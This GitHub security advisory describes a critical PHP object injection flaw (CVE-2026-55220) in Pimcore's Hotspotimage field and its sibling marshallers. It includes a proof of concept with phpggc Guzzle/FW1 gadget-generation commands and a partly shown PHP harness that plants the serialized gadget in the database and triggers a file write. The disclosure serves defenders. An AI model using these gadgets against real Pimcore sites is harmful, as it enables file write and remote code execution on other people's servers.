GitHub Advisoryadvisory · Packagist

GHSA-w23p-wrp7-ch38 Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502)

CRITICAL Published 2026-08-28 Modified 2026-08-28 Official page ↗
Aliases
CVE-2026-55220
Ecosystem
Packagist
Packages
pimcore/pimcore
Severity
Critical
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-502
Reviewed
2026-08-28

Affected packages

• Packagist pimcore/pimcore: >= 2026.1.0, < 2026.1.6 → fixed in 2026.1.6 • Packagist pimcore/pimcore: < 12.3.10 → fixed in 12.3.10

Description

Summary `Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource()` deserializes the `*__hotspots` object-store column through the `Pimcore\Tool\Serialize::unserialize()` wrapper without a class allowlist (the wrapper's `$allowedClasses` parameter defaults to `true`, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-`serialize()`d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted `unserialize()` over the stored column value. An attacker who can write the `*__hotspots` store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (`__wakeup`/`__destruct`) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. `guzzlehttp/guzzle`). The same field-data family also affects the sibling marshallers `ImageGallery`, `Block`, and `Video`, which use the identical `json_decode(...) ?: Serialize::unserialize(...)` fallback over their respective store columns. The root cause is shared: `Serialize::unserialize()` defaults to an unrestricted class list, and these callers pass no second argument. Severity High. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled `guzzlehttp/guzzle 7.11.0`). This is the deserialization leg of an attack: it requires the ability to write the `*__hotspots` object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase. Affected component • File: `models/DataObject/ClassDefinition/Data/Hotspotimage.php`, method `getDataFromResource()`. • Vulnerable lines (v2026.1.4 / v12.3.8): ```php $metaData = $data[$this->getName() . '__hotspots']; // check if the data is JSON (backward compatibility) $md = json_decode($metaData, true); if (!$md) { $md = Serialize::unserialize($metaData); // unrestricted: allowed_classes defaults to true } elseif (is_array($md)) { $md['hotspots'] = $md; } ``` • Root enabler: `lib/Tool/Serialize.php` ```php public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed { if ($data === null || $data === '') { return $data; } return unserialize($data, ['allowed_classes' => $allowedClasses]); // default true = unrestricted } ``` • Sibling marshallers with the identical fallback shape: `ImageGallery`, `Block`, `Video` (DataObject\ClassDefinition\Data). • Package: `pimcore/pimcore` (Composer). • Affected versions: all currently maintained releases, including the latest `v2026.1.4` and `v12.3.8` (verified against deployed `v2026.1.4`). Data flow 1. On save, `Hotspotimage::getDataForResource()` stores the hotspot/marker/crop metadata as `Serialize::serialize($metaData)` into the `__hotspots` object-store column — i.e. PHP serialized bytes, not JSON. 2. On load, `Hotspotimage::getDataFromResource()` reads that column, calls `json_decode()` (which fails for the serialized format), and therefore falls through to `Serialize::unserialize($metaData)` with the default unrestricted class list. 3. `Serialize::unserialize()` invokes `unserialize($data, ['allowed_classes' => true])`, instantiating any class named in the bytes and triggering its magic methods. 4. The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null `__image`. The attacker primitive is the ability to place crafted serialized bytes into the `__hotspots` store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable. Proof of Concept Verified end-to-end against a real, locally deployed Pimcore `v2026.1.4` (Composer skeleton + MariaDB + `pimcore:install`), not a ported stub. The gadget is `phpggc Guzzle/FW1` built against Pimcore's own bundled `guzzlehttp/guzzle 7.11.0`; its `GuzzleHttp\Cookie\FileCookieJar::__destruct` writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains). Gadget generation (476→474 raw bytes, non-JSON so the `unserialize` fallback is taken): ``` printf 'PWNED_BY_DESERIALIZATION_%s' "$(date +%s)" > /tmp/ggc_local_src.txt ./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n' > /tmp/ggc_guzzle_fw1.ser stored bytes begin: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{... ``` Reproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into `object_store_.img__hotspots`, then reloads the object through the real Pimcore model layer): ```php addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON'); $this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false'); } protected function execute(InputInterface $input, OutputInterface $output): int { $o = fn (string $m) => $output->writeln($m); $gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser'); $target = '/tmp/pimcore_pwned_hotspot.txt'; @unlink($target); $o('=== STEP 1: create DataObject class with a Hotspotimage field ==='); $class = ClassDefinition::getByName('E2eHotspot'); if (!$class) { $class = new ClassDefinition(); $class->setName('E2eHotspot'); $class->setGroup('e2e'); $field = new ClassDefinition\Data\Hotspotimage(); $field->setName('img'); $field->setTitle('img'); $panel = new ClassDefinition\Layout\Panel(); $panel->setName('Layout'); $panel->addChild($field); $class->setLayoutDefinitions($panel); $class->save(); } $o(' class id=' . $class->getId()); $o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ==='); $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=='); $asset = Asset::getByPath('/e2e_pixel.png'); if (!$asset) { $asset = new Asset\Image(); $asset->setFilename('e2e_pixel.png'); $asset->setParent(Asset::getById(1)); $asset->setData($png); $asset->save(); } $o(' asset id=' . $asset->getId()); $o('=== STEP 3: create+save object carrying that image ==='); $obj = DataObject::getByPath('/e2e_obj'); if (!$obj) { $fqcn = '\\Pimcore\\Model\\DataObject\\' . $class->getName(); $obj = new $fqcn(); $obj->setKey('e2e_obj'); $obj->setParent(DataObject::getById(1)); $o…

Related

Alias · CVE (1)

  • CVE-2026-55220 Pimcore is an Open Source Data & Experience Management Platform. vulnerability

Weakness · CWE (1)

  • CWE-502 Deserialization of Untrusted Data weakness

References